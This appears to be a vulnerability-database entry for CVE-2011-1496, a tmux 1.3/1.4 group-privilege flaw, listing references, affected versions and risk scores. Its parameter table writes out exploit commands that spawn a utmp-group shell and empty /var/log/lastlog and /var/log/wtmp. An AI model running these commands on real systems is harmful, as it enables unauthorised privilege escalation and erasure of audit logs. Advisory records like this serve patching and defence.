CVE-2011-1496

🗓️ 18 Apr 2011 18:00:00Reported by redhatType

cve🔗 web.nvd.nist.gov👁 83 Views🌐 WEB

CVE-2011-1496 tmux 1.3 and 1.4 does not properly drop group privileges, which allows local users to gain utmp group privileges via a filename to the -S command-line option

Reporter	Title	Published	Views	Family All 29
0day.today	tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability	12 Apr 201100:00	–	zdt
Cvelist	CVE-2011-1496	18 Apr 201118:00	–	cvelist
Debian	[BSA-032] Security update for tmux	11 Apr 201116:49	–	debian
Debian	[SECURITY] [DSA 2212-1] tmux security update	7 Apr 201119:51	–	debian
Debian CVE	CVE-2011-1496	18 Apr 201118:00	–	debiancve
Tenable Nessus	Debian DSA-2212-1 : tmux - privilege escalation	8 Apr 201100:00	–	nessus
Tenable Nessus	Fedora 13 : tmux-1.4-3.fc13 (2011-5156)	19 Apr 201100:00	–	nessus
Tenable Nessus	Fedora 14 : tmux-1.4-3.fc14 (2011-5167)	18 Apr 201100:00	–	nessus
Tenable Nessus	Fedora 15 : tmux-1.4-4.fc15 (2011-5486)	20 Apr 201100:00	–	nessus
Exploit DB	tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation	11 Apr 201100:00	–	exploitdb

NVD

Node

nicholas_marriott tmuxMatch1.3

nicholas_marriott tmuxMatch1.4

Source	Link
exchange	www.exchange.xforce.ibmcloud.com/vulnerabilities/66693
securityfocus	www.securityfocus.com/bid/47283
secunia	www.secunia.com/advisories/44081
lists	www.lists.fedoraproject.org/pipermail/package-announce/2011-April/058548.html
vupen	www.vupen.com/english/advisories/2011/0897
vupen	www.vupen.com/english/advisories/2011/1015
lists	www.lists.fedoraproject.org/pipermail/package-announce/2011-April/058452.html
lists	www.lists.fedoraproject.org/pipermail/package-announce/2011-April/058367.html
debian	www.debian.org/security/2011/dsa-2212
secunia	www.secunia.com/advisories/44239

Parameter	Position	Path	Description	CWE
-S	path	tmux -S /tmp/.whateveryouwant -c /bin/sh	Privilege escalation via tmux -S socket path and -c command to obtain a shell as utmp group	CWE-264
/tmp/.whateveryouwant	path	tmux -S /tmp/.whateveryouwant -c /bin/sh	Privilege escalation via tmux -S socket path and -c command to obtain a shell as utmp group	CWE-264
-c	path	tmux -S /tmp/.whateveryouwant -c /bin/sh	Privilege escalation via tmux -S socket path and -c command to obtain a shell as utmp group	CWE-264
/bin/sh	path	tmux -S /tmp/.whateveryouwant -c /bin/sh	Privilege escalation via tmux -S socket path and -c command to obtain a shell as utmp group	CWE-264
-S	path	tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'	Clear lastlog via -c redirection using the utmp privilege escalation	CWE-264
/tmp/.whateveryouwant	path	tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'	Clear lastlog via -c redirection using the utmp privilege escalation	CWE-264
-c	path	tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'	Clear lastlog via -c redirection using the utmp privilege escalation	CWE-264
> /var/log/lastlog	path	tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'	Clear lastlog via -c redirection using the utmp privilege escalation	CWE-264
-S	path	tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'	Clear wtmp via -c redirection using the utmp privilege escalation	CWE-264
/tmp/.whateveryouwant	path	tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'	Clear wtmp via -c redirection using the utmp privilege escalation	CWE-264

29 Apr 2026 01:13Current

6.3Medium risk

Vulners AI Score6.3

CVSS 24.6

EPSS0.00098

CWE-264